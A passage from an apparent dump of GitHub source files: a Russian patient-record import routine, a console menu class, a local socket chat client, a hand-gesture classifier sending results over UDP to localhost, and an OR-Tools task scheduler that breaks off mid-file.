SOCR=getOBL_TOWN_SOCR(OBL_TOWN_TYPE)\n        if OBL_TOWN_NAME and SOCR:\n            cond=[]\n            cond.append(self.tableKLADR['parent'].like('47%'))\n            cond.append(self.tableKLADR['NAME'].eq(toVariant(OBL_TOWN_NAME)))\n            cond.append(self.tableKLADR['SOCR'].eq(toVariant(SOCR)))\n            KLADRRecord=QtGui.qApp.db.getRecordEx(self.tableKLADR, 'CODE', where=cond)\n            if KLADRRecord:\n                KLADRCode=forceString(KLADRRecord.value('CODE'))\n        self.OBL_TOWN_KLADR[key]=KLADRCode\n        return KLADRCode\n\n    def getTOWN_KLADR(self, TOWN_NAME):\n        if not TOWN_NAME:\n            return None\n        KLADRCode=self.TOWN_KLADR.get(TOWN_NAME, -1)\n        if KLADRCode != -1:\n            return KLADRCode\n        KLADRCode=None\n        (NAME, SOCR)=(None, None)\n        if TOWN_NAME[:5]==u'пос. ':\n            NAME=TOWN_NAME[5:]\n            SOCR=u'п'\n        elif TOWN_NAME[:2]==u'п.':\n            NAME=TOWN_NAME[2:]\n            SOCR=u'п'\n        elif TOWN_NAME[:2]==u'г.':\n            NAME=TOWN_NAME[2:]\n            SOCR=u'г'\n        if NAME and SOCR:\n            cond=[]\n            cond.append(self.tableKLADR['parent'].like('78%'))\n            cond.append(self.tableKLADR['NAME'].eq(toVariant(NAME)))\n            cond.append(self.tableKLADR['SOCR'].eq(toVariant(SOCR)))\n            KLADRRecord=QtGui.qApp.db.getRecordEx(self.tableKLADR, 'CODE', where=cond)\n            if KLADRRecord:\n                KLADRCode=forceString(KLADRRecord.value('CODE'))\n        self.TOWN_KLADR[TOWN_NAME]=KLADRCode\n        return KLADRCode\n\n\n    def processClientId(self):\n        orgRecord=self.record\n        ID_HISTORY=orgRecord.value('ID_HISTORY').toInt()[0]\n#        EP_NUMBER=forceString(record.value('EP_NUMBER'))\n        EP_NUMBER=''\n        ID_PATIENT=forceString(orgRecord.value('ID_PATIENT')) if self.importMU else ''\n\n        self.EP_NUMBER=EP_NUMBER\n        self.ID_HISTORY=ID_HISTORY\n        self.ID_PATIENT=ID_PATIENT\n\n        id1, id2, id3 = self.getIdentClient(EP_NUMBER, ID_HISTORY, ID_PATIENT)\n        if id1 and id2 and id1!=id2:\n            errorMessage = u'идентификаторы ID_HISTORY и EP_NUMBER указывают на разных пациентов'\n            errorInfo = 'ID_HISTORY=%d, EP_NUMBER=%s'%(ID_HISTORY, EP_NUMBER)\n            self.err2log(errorMessage, errorInfo)\n            return None\n        clientId = id2 if id2 else id1\n        if self.importMU:\n            if id1 and id3 and id1!=id3:\n                errorMessage = u'идентификаторы ID_HISTORY и ID_PATIENT указывают на разных пациентов'\n                errorInfo = 'ID_HISTORY=%d, ID_PATIENT=%s'%(ID_HISTORY, ID_PATIENT)\n                self.err2log(errorMessage, errorInfo)\n                return None\n            if id2 and id3 and id2!=id3:\n                errorMessage = u'идентификаторы EP_NUMBER и ID_PATIENT указывают на разных пациентов'\n                errorInfo = 'EP_NUMBER=%s, ID_PATIENT=%s'%(EP_NUMBER, ID_PATIENT)\n                self.err2log(errorMessage, errorInfo)\n                return None\n            if clientId:\n                return None\n            if id3:\n                clientId=id3\n\n        SURNAME=nameCase(forceString(orgRecord.value('SURNAME')))\n        NAME=nameCase(forceString(orgRecord.value('NAME')))\n        SECOND_NAME=nameCase(forceString(orgRecord.value('SECOND_NAME')))\n        SEX=forceString(orgRecord.value('SEX'))\n        BIRTHDAY=forceDate(orgRecord.value('BIRTHDAY'))\n        if not (SURNAME and NAME and SECOND_NAME and SEX and BIRTHDAY):\n            return None\n        sex=0\n        if SEX in [u'м', u'М']:\n            sex=1\n        elif SEX in [u'ж', u'Ж']:\n            sex=2\n        POLIS_SERIA=forceString(orgRecord.value('POLIS_SERIA'))\n        POLIS_NUMBER=forceString(orgRecord.value('POLIS_NUMBER'))\n        if self.importMU:\n            POLIS_BEGIN_DATE=None\n            POLIS_END_DATE=None\n            ID_HUMAN_TYPE=6\n        else:\n            POLIS_BEGIN_DATE=forceDate(orgRecord.value('POLIS_BEGIN_DATE'))\n            POLIS_END_DATE=forceDate(orgRecord.value('POLIS_END_DATE'))\n            ID_HUMAN_TYPE=forceInt(orgRecord.value('ID_HUMAN_TYPE'))\n        ID_DOC_TYPE=forceInt(orgRecord.value('ID_DOC_TYPE'))\n        documentType_id=getDocType(ID_DOC_TYPE)\n        SERIA_LEFT=forceString(orgRecord.value('SERIA_LEFT'))\n        SERIA_RIGHT=forceString(orgRecord.value('SERIA_RIGHT'))\n        SERIA=SERIA_LEFT+' '+SERIA_RIGHT\n        DOC_NUMBER=forceString(orgRecord.value('DOC_NUMBER'))\n        MIAC_CODE=forceString(orgRecord.value('MIAC_CODE'))\n\n        if clientId:\n            self.num_found+=1\n            Client=self.db.getRecord('Client', '*', clientId)\n            lastName=forceString(Client.value('lastName'))\n            firstName=forceString(Client.value('firstName'))\n            patrName=forceString(Client.value('patrName'))\n            if lastName!=SURNAME or firstName!=NAME or patrName!=SECOND_NAME:\n                fix=False\n                bad=False\n                if lastName!=SURNAME and SURNAME:\n                    if not lastName or numlat_re.search(lastName)!=None:\n                        Client.setValue('lastName', toVariant(SURNAME))\n                        fix=True\n                    else:\n                        bad=True\n                if firstName!=NAME and NAME:\n                    if not firstName or numlat_re.search(firstName)!=None:\n                        Client.setValue('firstName', toVariant(NAME))\n                        fix=True\n                    else:\n                        bad=True\n                if patrName!=SECOND_NAME and SECOND_NAME:\n                    if not patrName or numlat_re.search(patrName)!=None:\n                        Client.setValue('patrName', toVariant(SECOND_NAME))\n                        fix=True\n                    else:\n                        bad=True\n#                if lastName!=SURNAME:\n#                    Client.setValue('lastName', toVariant(SURNAME))\n#                    fix=True\n#                if firstName!=NAME:\n#                    Client.setValue('firstName', toVariant(NAME))\n#                    fix=True\n#                if patrName!=SECOND_NAME:\n#                    Client.setValue('patrName', toVariant(SECOND_NAME))\n#                    fix=True\n\n                if bad:\n                    errorMessage = u'не совпадает ФИО'\n                    errorInfo = u'lastName = %s, SURNAME = %s \\nfirstName = %s, NAME = %s \\npatrName=%s,  SECOND_NAME = %s' % (lastName, SURNAME, firstName, NAME, patrName, SECOND_NAME)\n                    self.err2log(errorMessage, errorInfo)\n                    return None\n                elif fix:\n                    self.num_fixed+=1\n                    self.db.updateRecord(self.tableClient, Client)\n            birthDate=Client.value('birthDate').toDate()\n            if birthDate!=BIRTHDAY:\n                errorMessage = u'не совпадает дата рождения'\n#                errorInfo = u'birthDate = %s, BIRTHDAY = %s' %(forceString(birthDate), forceString(BIRTHDAY))\n                self.err2log(errorMessage)\n            ClientSex=Client.value('sex').toInt()[0]\n            if ClientSex!=sex:\n                errorMessage = u'не совпадает пол'\n#                errorInfo = u'sex = %d, SEX = %d' %(ClientSex, sex)\n                self.err2log(errorMessage)\n            DocumentList=self.db.getRecordList(\n                'ClientDocument', 'serial, number',\n                'client_id=%d and documentType_id=%d' % (clientId, documentType_id))\n            if DocumentList:\n                found=False\n                dn = 1\n                clientDocumentsStr = u''\n                for Document in DocumentList:\n                    serial=forceString(Document.value('serial'))\n                    number=forceString(Document.value('number'))\n                    clientDocumentsStr = clientDocumentsStr + '\\nclientDocument %d\\nserial = %s, number = %s' % (dn,serial,number)\n                    dn += 1\n                    if serial==SERIA and number==DOC_NUMBER:\n                        found=True\n                if not found:\n                    errorMessage = u'не совпадает документ'\n#                    errorInfo = clientDocumentsStr + '\\nSERIA = %s, DOC_NUMBER = %s' % (SERIA, DOC_NUMBER)\n                    self.err2log(errorMessage)\n#                    return None\n        else:\n            client_ClientId=None\n            if SURNAME and NAME and SECOND_NAME and sex and BIRTHDAY:\n                cond=[]\n                cond.append(self.tableClient['lastName'].eq(toVariant(SURNAME)))\n                cond.append(self.tableClient['firstName'].eq(toVariant(NAME)))\n                cond.append(self.tableClient['patrName'].eq(toVariant(SECOND_NAME)))\n                cond.append(self.tableClient['sex'].eq(toVariant(sex)))\n                cond.append(self.tableClient['birthDate'].eq(toVariant(BIRTHDAY)))\n                client=QtGui.qApp.db.getRecordEx(self.tableClient, '*', where=cond)\n                if client:\n                    client_ClientId=client.value('client_id').toInt()[0]\n            if POLIS_SERIA and POLIS_NUMBER:\n                cond=[]\n                cond.append(self.tableClientPolicy['serial'].eq(toVariant(POLIS_SERIA)))\n                cond.append(self.tableClientPolicy['number'].eq(toVariant(POLIS_NUMBER)))\n                clientPolicyList=QtGui.qApp.db.getRecordList(\n                    self.tableClientPolicy, '*', where=cond)\n                if clientPolicyList:\n                    found=False\n                    for clientPolicy in clientPolicyList:\n                        Policy_ClientId=clientPolicy.value('client_id').toInt()[0]\n                        if Policy_ClientId and Policy_ClientId==client_ClientId:\n                            found=True\n                    if not found and client_ClientId:\n                        errorMessage = u'не совпадает полис'\n                        errorInfo = u'\\nНайденные полисы серии %s и номера %s не соотносятся с найденным клиентом id = %d' % (POLIS_SERIA, POLIS_NUMBER, client_ClientId)\n                        self.err2log(errorMessage, errorInfo)\n                        return None\n\n            if SERIA_LEFT and SERIA_RIGHT and DOC_NUMBER:\n                cond=[]\n                cond.append(self.tableClientDocument['serial'].eq(toVariant(SERIA)))\n                cond.append(self.tableClientDocument['number'].eq(toVariant(DOC_NUMBER)))\n                clientDocumentList=QtGui.qApp.db.getRecordList(\n                    self.tableClientDocument, '*', where=cond)\n                if clientDocumentList:\n                    found=True\n                    for clientDocument in clientDocumentList:\n                        Document_ClientId=clientDocument.value('client_id').toInt()[0]\n                        if Document_ClientId and Document_ClientId==client_ClientId:\n                            found=True\n                    if not found and client_ClientId:\n                        errorMessage = u'не совпадает документ'\n                        errorInfo = u'\\nНайденные документы серии %s и номера %s не соотносятся с найденным клиентом id = %d' % (SERIA, DOC_NUMBER, client_ClientId)\n                        self.err2log(errorMessage, errorInfo)\n                        return None\n\n            if client_ClientId:\n                if self.importMU:\n                    return None\n                self.num_found+=1\n                clientId=client_ClientId\n#                if self.importMU:\n#                    return None\n            else:\n                self.num_added+=1\n                clientFields=[\n                    ('lastName', SURNAME), ('firstName', NAME), ('patrName', SECOND_NAME),\n                    ('sex', sex), ('birthDate', BIRTHDAY)]\n                clientId = getId(self.tableClient, clientFields)\n\n            if clientId:\n                if not self.importMU:\n                    if EP_NUMBER:\n                        ident_rec=self.tableClientIdentification.newRecord()\n                        ident_rec.setValue('client_id', toVariant(clientId))\n                        ident_rec.setValue('accountingSystem_id', toVariant(self.ClientIdentification_EP_NUMBER))\n                        ident_rec.setValue('identifier', toVariant(EP_NUMBER))\n                        if self.identDate:\n                            ident_rec.setValue('checkDate', toVariant(self.identDate))\n                        self.db.insertRecord(self.tableClientIdentification, ident_rec)\n\n                    if ID_HISTORY:\n                        ident_rec=self.tableClientIdentification.newRecord()\n                        ident_rec.setValue('client_id', toVariant(clientId))\n                        ident_rec.setValue(\n                            'accountingSystem_id', toVariant(self.ClientIdentification_ID_HISTORY))\n                        ident_rec.setValue('identifier', toVariant(ID_HISTORY))\n                        if self.identDate:\n                            ident_rec.setValue('checkDate', toVariant(self.identDate))\n                        self.db.insertRecord(self.tableClientIdentification, ident_rec)\n\n                if ID_PATIENT:\n                    ident_rec=self.tableClientIdentification.newRecord()\n                    ident_rec.setValue('client_id', toVariant(clientId))\n                    ident_rec.setValue(\n                        'accountingSystem_id', toVariant(self.ClientIdentification_ID_PATIENT))\n                    ident_rec.setValue('identifier', toVariant(ID_PATIENT))\n#                    if self.identDate:\n#                        ident_rec.setValue('checkDate', toVariant(self.identDate))\n                    self.db.insertRecord(self.tableClientIdentification, ident_rec)\n\n        if clientId:\n            insurerId=self.getInsurer()\n\n            if POLIS_SERIA and POLIS_NUMBER:\n                policyType_id=None\n                if ID_HUMAN_TYPE==1:\n                    policyType_id=2\n                elif ID_HUMAN_TYPE==6:\n                    policyType_id=1\n                clientPolicyFields=[('client_id', clientId), ('serial', POLIS_SERIA), ('number', POLIS_NUMBER)]\n                clientPolicyFields2=[\n                    ('begDate', POLIS_BEGIN_DATE), ('endDate', POLIS_END_DATE),\n                    ('insurer_id', insurerId), ('policyType_id', policyType_id)]\n                currentPolicyRecord = getClientCompulsoryPolicy(clientId)\n                currentPolicyId = forceRef(currentPolicyRecord.value('id')) if currentPolicyRecord else None\n                findAndUpdateOrCreateRecord(self.tableClientPolicy, clientPolicyFields, clientPolicyFields2, currentPolicyId)\n\n            clientDocumentId=None\n            if documentType_id and SERIA_LEFT and SERIA_RIGHT and DOC_NUMBER:\n                documentFields=[\n                    ('client_id', clientId), ('documentType_id', documentType_id),\n                    ('serial', SERIA), ('number', DOC_NUMBER)]\n                getId(self.tableClientDocument, documentFields)\n\n        # update ClientAttach\n        if clientId:\n            tblClientAttach = tbl('ClientAttach')\n            tblOrganisation = tbl('Organisation')\n            orgRecord = QtGui.qApp.db.getRecordEx(tblOrganisation, 'id', [tblOrganisation['deleted'].eq(0),\n                                                                          tblOrganisation['miacCode'].eq(MIAC_CODE)], tblOrganisation['id'].name() + ' DESC')\n            if not orgRecord is None:\n                orgId = forceRef(orgRecord.value('id'))\n                clientAttachRecord = QtGui.qApp.db.getRecordEx(tblClientAttach, 'id', [tblClientAttach['client_id'].eq(clientId),\n                                                                                       tblClientAttach['deleted'].eq(0),\n                                                                                       tblClientAttach['LPU_id'].eq(orgId),\n                                                                                       tblClientAttach['attachType_id'].inlist([1, 8]) # 1-территориал, 8-умер\n                                                                                       ])\n\n                if clientAttachRecord is None:\n                    orgRecord = tblClientAttach.newRecord()\n                    orgRecord.setValue('client_id', toVariant(clientId))\n                    orgRecord.setValue('attachType_id', toVariant(1))\n                    orgRecord.setValue('LPU_id', toVariant(orgId))\n                    orgRecord.setValue('begDate',  toVariant(QDate.currentDate()))\n                    orgRecord.setValue('deleted', toVariant(0))\n                    QtGui.qApp.db.insertRecord(tblClientAttach, orgRecord)\n\n        return clientId\n\n    def putSize(self, onlyNew, lowBirthdayStr, highBirthdayStr):\n        self.labelNum.setText(u'подсчёт количества записей в источнике...')\n        QtGui.qApp.processEvents()\n        if self.importMU:\n            size_stmt='SELECT COUNT(*) FROM PATIENTS'\n#            if onlyNew:\n            size_stmt+=\"\"\"\n            LEFT JOIN PATIENT_DATA ON PATIENT_DATA.ID_PATIENT=PATIENTS.ID_PATIENT\n            WHERE NOT EXISTS (SELECT * FROM PEOPLE WHERE\n            (PEOPLE.ID_HISTORY IS NOT NULL AND PEOPLE.ID_HISTORY=PATIENTS.ID_EIS_OMS) OR\n            (PEOPLE.EP_NUMBER IS NOT NULL AND PEOPLE.EP_NUMBER=PATIENT_DATA.EP_NUMBER))\n            AND PATIENT_DATA.BIRTHDAY BETWEEN %s AND %s\"\"\" % (lowBirthdayStr, highBirthdayStr)\n        else:\n            size_stmt='SELECT COUNT(*) FROM PEOPLE WHERE PEOPLE.BIRTHDAY BETWEEN %s AND %s' % (lowBirthdayStr, highBirthdayStr)\n            if onlyNew:\n                size_stmt+=' AND PEOPLE.TMONTH_BEGIN>='+str(self.TMONTH)\n        q_size=self.EIS_db.query(size_stmt)\n        if q_size.next():\n            r_size=q_size.record()\n            num=forceInt(r_size.value(0))\n            self.num=num\n        q_size.clear()\n        if num>0:\n            self.progressBar.setMaximum(num)\n        else:\n            self.progressBar.setMaximum(0)\n        self.labelNum.setText(u'всего записей в источнике: '+str(num))\n        QtGui.qApp.processEvents()\n\n\ndef get_street(UNSTRUCT_ADDRESS):\n    street=UNSTRUCT_ADDRESS\n    if UNSTRUCT_ADDRESS[:18]==u'г.Санкт-Петербург ':\n        return get_ul(UNSTRUCT_ADDRESS[18:])\n    for (n, s) in ns_list:\n        l=len(n)\n        pos=street.find(u', '+n)\n        if pos>=0:\n            street=street[pos+2:]\n            pos2=street.find(u',')\n            if pos2>=0:\n                street=street[:pos2].strip()\n            return street\n        pos=street.find(n+',')\n        if pos>=0:\n            street=street[:pos+l]\n            pos2=street.rfind(u',')\n            if pos2>=0:\n                street=street[pos2:].strip()\n            return street\n    return None\n\nDocTypes={1:1, 2:14, 3:3, 4:13, 6:2, 8:15}\n\ndef getDocType(ID_DOC_TYPE):\n    return DocTypes.get(ID_DOC_TYPE, 0)\n\nbadGEONIM_NAMEs={\n    u'Большой В.О.':u'Большой ВО', u'Большой П.С.':u'Большой ПС',\n    u'Малый В.О.':u'Малый ВО', u'Малый П.С.':u'Малый ПС'}\n\ndef getGEONIM_NAME(gn):\n    GEONIM_NAME=trim(forceString(gn))\n    if GEONIM_NAME and GEONIM_NAME[0].isdigit():\n        gn=GEONIM_NAME.split()\n        GEONIM_NAME=u' '.join(gn[1:]+gn[:1])\n    GEONIM_NAME=badGEONIM_NAMEs.get(GEONIM_NAME, GEONIM_NAME)\n    return GEONIM_NAME\n\nOBL_TOWN_SOCR={u'г':u'г', u'Г':u'г', u'д':u'д', u'Д':u'д', u'п':u'п', u'П':u'п'}\n\ndef getOBL_TOWN_SOCR(OBL_TOWN_TYPE):\n    return OBL_TOWN_SOCR.get(OBL_TOWN_TYPE, '')\n\nul_types=[\n    u'ул.', u'наб.', u'ал.', u'б-р', u'дор.', u'дорожка', u'линия', u'пер.', u'пл.', u'пр.', u'пр-д', u'ш.', u'тупик', u'остров', u'парк', u'км', u'бск']\n\ndef get_ul(street):\n    for ut in ul_types:\n        pos=street.find(ut)\n        if pos>0:\n            return street[:pos+len(ut)]\n    return None\n\nnumlat_re=re.compile('[0-9'+string.ascii_letters+']')\n","repo_name":"dio4/vista_1","sub_path":"Exchange/ImportEIS.py","file_name":"ImportEIS.py","file_ext":"py","file_size_in_byte":39849,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"22813297553","text":"class myMenu:\n    def __init__(self,list,name):\n        self.list = list\n        self.name = name\n\n\n    def afficher_menu(self):\n        i = 0\n        print(self.name)\n        for x in self.list:\n            i+=1\n            print(f\"{i}. {x}\")\n\n\n            \n    def choix_menu(self,message):\n        check = True\n        choix = \"\"\n        while check:\n            test = int(input(message))\n            if(test>0 and test<=len(self.list)):\n                check = False\n                choix = str(test)\n            else:\n                print(\"veuillez choisir une option disponible\")\n        \n        return choix","repo_name":"tollo21/supinfoProjet","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16402658956","text":"import threading\nimport socket\nuser = input('user? =')\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(('127.0.0.1', 59000))\n\n\ndef split(word):\n    return [char for char in word]\n\ndef client_receive():\n    while True:\n        try:\n            message = client.recv(1024).decode('utf-8')\n            word = message\n            list1 =split(word)\n            l = []\n            l.append(list1[len(list1) - 2])\n            l.append(list1[len(list1) - 1])\n            if message == \"alias?\":\n                client.send(user.encode('utf-8'))\n            # elif l[0] == list1[len(alias)+1] and l[1] == list1[len(alias)+2]:\n            #     print(message)\n            else:\n                print(message)\n                #print(l)\n\n            # else:\n            #     print(message)\n        except:\n            print('Error!')\n            client.close()\n            break\n\n\ndef client_send():\n    while True:\n        message = f'{user}:{input(\"\")}'\n\n        client.send(message.encode('utf-8'))\n\n\nreceive_thread = threading.Thread(target=client_receive)\nreceive_thread.start()\n\nsend_thread = threading.Thread(target=client_send)\nsend_thread.start()\n","repo_name":"four44/PythonSocketDemo","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16988016406","text":"import os\nimport cv2\nimport csv\nimport numpy as np\nimport mediapipe as mp\nimport matplotlib.pyplot as plt\nimport HandPoseEmbedder\nimport Draw_Hand_landmarks\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay\nimport socket\n\n# Initialize MediaPipe Hands\nmp_drawing = mp.solutions.drawing_utils\nmp_hands = mp.solutions.hands\nhands = mp_hands.Hands(min_detection_confidence=0.5, min_tracking_confidence=0.5, max_num_hands=1)\n\n# For webcam input:\ncap = cv2.VideoCapture(0)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserverAddressPort = (\"127.0.0.1\", 5052)\n\n\ndef load_pose_samples(pose_samples_folder, file_extension='csv'):\n    \"\"\" Loads pose samples from a given folder.\"\"\"\n\n    file_names = [name for name in os.listdir(pose_samples_folder) if name.endswith(file_extension)]\n\n    pose_samples = []\n    class_samples = []\n    for file_name in file_names:\n        class_name = file_name[:-(len(file_extension) + 1)]\n\n        # Parse CSV\n        with open(os.path.join(pose_samples_folder, file_name)) as csv_file:\n            csv_reader = csv.reader(csv_file, delimiter=',')\n            for row in csv_reader:\n                landmarks = np.array(row[:], np.float32).reshape(21, 2)\n                landmarks = landmarks[:, :2].reshape((42,))\n                pose_samples.append(landmarks)\n                class_samples.append(class_name)\n    return pose_samples, class_samples\n\n\n# Function to get hand landmarks from a frame and draw them\ndef process_frame(frame):\n    results = hands.process(frame)\n    if results.multi_hand_landmarks:\n        # Limit to one hand detection\n        landmarks = results.multi_hand_landmarks[0].landmark\n        mp_drawing.draw_landmarks(frame, results.multi_hand_landmarks[0], mp_hands.HAND_CONNECTIONS)\n        return landmarks\n    else:\n        return None\n\n\ndata_dir = os.path.dirname(os.path.abspath(__file__))\n\nx, y = load_pose_samples(data_dir)\n# print(x, y)\n# Draw_Hand_landmarks.plot_random_pose(x, y, np.random.randint(len(y), size=25))\n\npose_embedder = HandPoseEmbedder.HandPoseEmbedder()\nx_embedding = [pose_embedder(instance) for instance in x]\nx_embedding = np.asarray(x_embedding)\n\nX_train, X_test, y_train, y_test = train_test_split(x_embedding, y, random_state=0, test_size=0.2)\nscaler = StandardScaler()\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\n\nlabel_encoder = LabelEncoder()\ny_train = label_encoder.fit_transform(y_train)\ny_test = label_encoder.transform(y_test)\nprint(label_encoder.classes_)\n\nclassifier = KNeighborsClassifier(n_neighbors=7)\nclassifier.fit(X_train, y_train)\n\nplt.figure(figsize=(5, 5))\ndisp = ConfusionMatrixDisplay.from_estimator(classifier, X_test, y_test, display_labels=label_encoder.classes_,\n                                            cmap=plt.cm.Blues, ax=plt.gca())\n# plt.show()\nprint(disp.confusion_matrix)\n\n# Video Capture\nwhile cap.isOpened():\n    ret, frame = cap.read()\n    if not ret:\n        continue\n    hand_landmarks = process_frame(frame)\n    flip = cv2.flip(frame, 1)\n    if hand_landmarks is not None:\n        # Process the hand landmarks\n        landmarks = [lmk for lmk in hand_landmarks]  # Extract all landmarks\n        landmarks_array = np.zeros((21, 2), dtype=np.float32)\n        for i, lmk in enumerate(landmarks):\n            landmarks_array[i] = [lmk.x, lmk.y]\n        landmarks_array = landmarks_array.flatten()  # Flatten to a 1D array\n\n        # Print the x and y coordinates of each landmark\n        x_coordinates = landmarks_array[::2]\n        y_coordinates = landmarks_array[1::2]\n        #print(\"X Coordinates:\", x_coordinates)\n        #print(\"Y Coordinates:\", y_coordinates)\n\n        # Embed the hand landmarks\n        hand_embedding = pose_embedder(landmarks_array)\n        # Preprocess the data\n        hand_embedding = scaler.transform([hand_embedding])\n        # Predict using the classifier\n        predicted_class = classifier.predict(hand_embedding)\n        # Draw the predicted class on the frame\n        \n        data_str = f\"{predicted_class[0]};{';'.join([','.join(map(str, [lmk.x, lmk.y])) for lmk in landmarks])}\"\n        sock.sendto(data_str.encode(), serverAddressPort)\n\n        cv2.putText(flip, f'Predicted: {label_encoder.classes_[predicted_class[0]]}', (10, 30),\n                    cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n\n    cv2.imshow('Hands Classifier', flip)\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n","repo_name":"NoName588/FINAL_VA","sub_path":"Clasificador/main (1).py","file_name":"main (1).py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14642387510","text":"from ortools.sat.python import cp_model\nfrom enum import Enum\n\n\nclass Sentiment(Enum):\n    MORN = 1\n    AFT = 2\n\n\n# CONSTANTS\nWORKING_HOURS = 8\nSUBDIVISIONS = 4\nDAYS = 5\nNUM_SLOTS = WORKING_HOURS * SUBDIVISIONS * DAYS\nDEADLINE_PENALTY_CONSTANT = 1\nSENTIMENT_PENALTY_CONSTANT = 3000\n\n# PRIORITY FUNCTION\n# end: var, deadline: int, model: CPModel\ndef deadline_penalty(end, deadline, model: cp_model.CpModel):\n    slots = WORKING_HOURS * SUBDIVISIONS * 2\n    flag = model.NewBoolVar(\"more than 2 days\")\n    model.Add(deadline - end > slots).OnlyEnforceIf(flag)\n    model.Add(deadline - end <= slots).OnlyEnforceIf(flag.Not())\n    penalty = model.NewIntVar(0, 160, \"penalty\")\n    model.Add(slots - deadline + end == penalty).OnlyEnforceIf(flag.Not())\n    model.Add(deadline - end - slots == penalty).OnlyEnforceIf(flag)\n    return penalty\n    # return DEADLINE_PENALTY_CONSTANT * (NUM_SLOTS - (deadline - end))\n\n\nclass Task:\n    def __init__(\n        self, duration, start_time, concurrent, precedes, sentiment, deadline, name\n    ):\n        self.duration = duration\n        # OPTIONAL\n        self.start_time = start_time\n        self.concurrent = concurrent\n        # INDEX IN ARRAY\n        self.precedes = precedes\n        self.sentiment = sentiment\n        self.deadline = deadline\n        self.name = name\n\n\nclass TaskScheduler:\n    def __init__(self, tasks):\n        self.tasks = tasks\n\n    def create_interval_variables(self):\n        model = self.model\n        self.schedule = []\n        self.demands = []\n        for t in self.tasks:\n            start, end, interval = None, None, None\n            if t.start_time == None:\n                start = model.NewIntVar(0, NUM_SLOTS, f\"Task {t.name} start\")\n                end = model.NewIntVar(1, NUM_SLOTS, f\"Task {t.name} end\")\n            else:\n                start = model.NewIntVar(\n                    t.start_time, t.start_time, f\"Task {t.name} start\"\n                )\n                end = model.NewIntVar(\n                    t.start_time + t.duration,\n                    t.start_time + t.duration,\n                    f\"Task {t.name} end\",\n                )\n\n            if t.deadline:\n                model.Add(end <= t.deadline)\n            interval = model.NewIntervalVar(\n                start, t.duration, end, f\"Task {t.name} interval\"\n            )\n            interval.start = start\n            interval.end = end\n            self.demands.append(0 if t.concurrent else 1)\n            self.schedule.append(interval)\n\n    def create_overlapping_constraints(self):\n        model = self.model\n        model.AddCumulative(self.schedule, self.demands, 1)\n\n    def create_precedence_constraints(self):\n        for i, t in enumerate(self.tasks):\n            for prec in t.precedes:\n                self.model.Add(self.schedule[prec].end <= self.schedule[i].start)\n\n    def create_nosplit_constraints(self):\n        model = self.model\n        for s in self.schedule:\n            start_r, end_r = (\n                model.NewIntVar(0, DAYS - 1, \"\"),\n                model.NewIntVar(0, DAYS - 1, \"\"),\n            )\n            end_m_one = model.NewIntVar(0, NUM_SLOTS, \"\")\n            model.Add(s.end == end_m_one + 1)\n            model.AddDivisionEquality(start_r, s.start, WORKING_HOURS * SUBDIVISIONS)\n            model.AddDivisionEquality(end_r, end_m_one, WORKING_HOURS * SUBDIVISIONS)\n            model.Add(start_r == end_r)\n\n    def create_scheduling_penalties(self):\n        cumul = 0\n        for i, s in enumerate(self.schedule):\n            if self.tasks[i].deadline:\n                tmp = self.model.NewIntVar(-400, 400, \"\")\n                squared = self.model.NewIntVar(0, 3000000, \"\")\n                p = deadline_penalty(s.end, self.tasks[i].deadline, self.model)\n                self.model.Add(tmp == p)\n                self.model.AddMultiplicationEquality(squared, [tmp, tmp])\n                cumul += squared\n        return cumul\n\n    def create_sentiment_penalties(self):\n        cumul = 0\n        for i, s in enumerate(self.schedule):\n            if self.tasks[i].sentiment:\n                tmp = self.model.NewIntVar(0, WORKING_HOURS * SUBDIVISIONS, \"\")\n                sched_penalty = self.model.NewIntVar(0, 5000, \"\")\n                indicator = self.model.NewBoolVar(\"tmp >= half work day?\")\n                self.model.AddModuloEquality(tmp, s.start, WORKING_HOURS * SUBDIVISIONS)\n                self.model.Add(tmp >= WORKING_HOURS * SUBDIVISIONS // 4).OnlyEnforceIf(\n                    indicator\n                    if self.tasks[i].sentiment == Sentiment.MORN\n                    else indicator.Not()\n                )\n                self.model.Add(tmp < WORKING_HOURS * SUBDIVISIONS // 4).OnlyEnforceIf(\n                    indicator.Not()\n                    if self.tasks[i].sentiment == Sentiment.MORN\n                    else indicator\n                )\n\n                self.model.Add(sched_penalty == 5000).OnlyEnforceIf(indicator)\n                self.model.Add(sched_penalty == 0).OnlyEnforceIf(indicator.Not())\n                cumul += sched_penalty\n        return cumul\n\n    def create_penalties(self):\n        self.penalty = self.model.NewIntVar(0, 2000000000, \"Scheduling Penalties\")\n        p1, p2 = self.create_scheduling_penalties(), self.create_sentiment_penalties()\n        self.model.Add(p1 + p2 == self.penalty)\n\n    def solve_model(self):\n        self.model = cp_model.CpModel()\n        self.solver = cp_model.CpSolver()\n\n        self.create_interval_variables()\n        self.create_overlapping_constraints()\n        self.create_precedence_constraints()\n        self.create_nosplit_constraints()\n        self.create_penalties()\n        self.model.Minimize(self.penalty)\n\n        self.solver.parameters.num_search_workers = 4\n        m = self.solver.Solve(self.model)\n        # print(self.solver.StatusName())\n\n        if m in [cp_model.FEASIBLE, cp_model.OPTIMAL]:\n            return [\n                (self.solver.Value(s.start), self.solver.Value(s.end))\n                for s in self.schedule\n            ]\n\n\nif __name__ == \"__main__\":\n    task1 = Task(2, None, False, [1], Sentiment.AFT, 56, \"A\")\n    task2 = Task(5, None, False, [], Sentiment.MORN, 100, \"B\")\n    task3 = Task(10, None, False, [], Sentiment.MORN, 30, \"C\")\n    